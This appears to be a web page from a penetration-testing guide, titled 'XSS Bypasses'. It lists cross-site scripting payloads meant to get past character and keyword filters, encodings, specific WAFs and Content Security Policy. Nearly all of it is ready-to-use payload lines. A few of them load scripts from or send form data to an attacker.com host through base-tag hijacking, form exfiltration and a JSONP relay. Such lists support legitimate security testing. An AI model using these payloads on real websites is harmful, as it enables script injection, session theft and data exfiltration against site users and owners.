XSS Bypasses¶
Your payload is blocked. Here's how to get around it.
Identify What's Blocked¶
Before trying random bypasses:
- Test what characters are filtered:
< > " ' / \ ( ) ; = - Test what keywords are filtered:
script,on*,javascript - Test encoding acceptance
- Check if filter is server-side or client-side
Character Filters¶
<> Blocked¶
If you're inside an attribute:
Inside JS string:
" Blocked¶
Or use backticks in JS:
() Blocked¶
alert`1`
setTimeout`alert\x281\x29`
location='javascript:alert\x281\x29'
onerror=alert;throw 1
window.onerror=alert;throw 1
eval.call`${'alert(1)'}`
Spaces Blocked¶
Use tabs or newlines:
Without Quotes¶
Keyword Filters¶
script Blocked¶
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<iframe onload=alert(1)>
<object data=javascript:alert(1)>
<embed src=javascript:alert(1)>
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
alert Blocked¶
confirm(1)
prompt(1)
console.log(1)
eval('ale'+'rt(1)')
window['ale'+'rt'](1)
this['ale'+'rt'](1)
[]['constructor']['constructor']('alert(1)')()
top['al'+'ert'](1)
on* Events Blocked¶
Try less common events:
<svg><animate onbegin=alert(1) attributeName=x>
<svg><set onbegin=alert(1) attributename=x>
<math><maction actiontype=statusline xlink:href=javascript:alert(1)>
Or different context:
<a href=javascript:alert(1)>click</a>
<form action=javascript:alert(1)><button>submit</button></form>
Encoding Bypasses¶
URL Encoding¶
Double URL Encoding¶
HTML Entities¶
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
Unicode Escapes (in JS)¶
Hex Escapes (in JS)¶
Mixed Encoding¶
Tag/Attribute Obfuscation¶
Case Manipulation¶
Tag Obfuscation¶
<scr<script>ipt>alert(1)</scr</script>ipt>
<script/src=data:,alert(1)>
<script >alert(1)</script> <!-- Tab -->
Attribute Obfuscation¶
<img src=x onerror=alert(1)>
<img src=x onerror='alert(1)'>
<img src=x onerror="alert(1)">
<img src=x onerror=alert`1`>
<img/src=x/onerror=alert(1)>
Null Bytes / Comments¶
CSP Bypasses¶
Check CSP First¶
Look at Content-Security-Policy header. Common weaknesses:
unsafe-inline Present¶
unsafe-eval Present¶
Whitelisted CDN with Vulnerable Libraries¶
If *.googleapis.com or similar CDN allowed:
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
JSONP Endpoints¶
<script src="https://allowed-domain.com/api?callback=alert(1)//"></script>
<!-- Google accounts JSONP bypass -->
<script src="https://accounts.google.com/o/oauth2/postmessageRelay?parent=https://attacker.com&jsh=m;/alert(1)//"></script>
Base Tag Injection (no base-uri)¶
<base href="https://attacker.com/">
<script src="/malicious.js"></script>
<!-- Now loads from attacker.com -->
Missing object-src¶
Missing form-action¶
<form action="https://attacker.com/steal" method="POST">
<input name="data" value="secret">
<button>Submit</button>
</form>
Data/Blob URIs Allowed¶
<script src="data:text/javascript,alert(1)"></script>
<script src="data:text/javascript;base64,YWxlcnQoMSk="></script>
Nonce Bypass¶
<!-- If nonce is static or predictable -->
<script nonce="predictable123">alert(1)</script>
<!-- Base tag + nonce (script with relative src) -->
<base href="https://attacker.com/">
<!-- <script nonce="xxx" src="/app.js"> now loads attacker's script -->
Strict-Dynamic Bypass¶
If page has script that creates scripts:
<script nonce="xxx">
var s = document.createElement('script');
s.src = userInput; // User controls this
document.body.appendChild(s);
</script>
CSP Quick Reference¶
| CSP Weakness | Attack Vector |
|---|---|
| No CSP | Full XSS |
unsafe-inline |
Inline scripts |
unsafe-eval |
eval-based payloads |
data: allowed |
data:text/javascript |
*.googleapis.com |
JSONP callback |
cdnjs.cloudflare.com |
Vulnerable libs |
Missing object-src |
<object> tags |
Missing base-uri |
<base> hijack |
Missing form-action |
Form exfil |
| Static nonce | Nonce reuse |
CSP Testing Tool¶
WAF-Specific¶
Cloudflare¶
<svg onload=alert(1)> <!-- Usually blocked -->
<details/open/ontoggle=alert(1)> <!-- Try this -->
<svg/onload=\u0061lert(1)>
AWS WAF¶
Akamai¶
ModSecurity¶
Advanced Techniques¶
Mutation XSS (mXSS)¶
Browser parsing quirks:
<listing><img src=x onerror=alert(1)></listing>
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
Prototype Pollution to XSS¶
If prototype pollution exists:
DOM Clobbering¶
Still blocked? Sometimes the bypass is in the delivery method not the payload.
Got execution? Move to Escalation.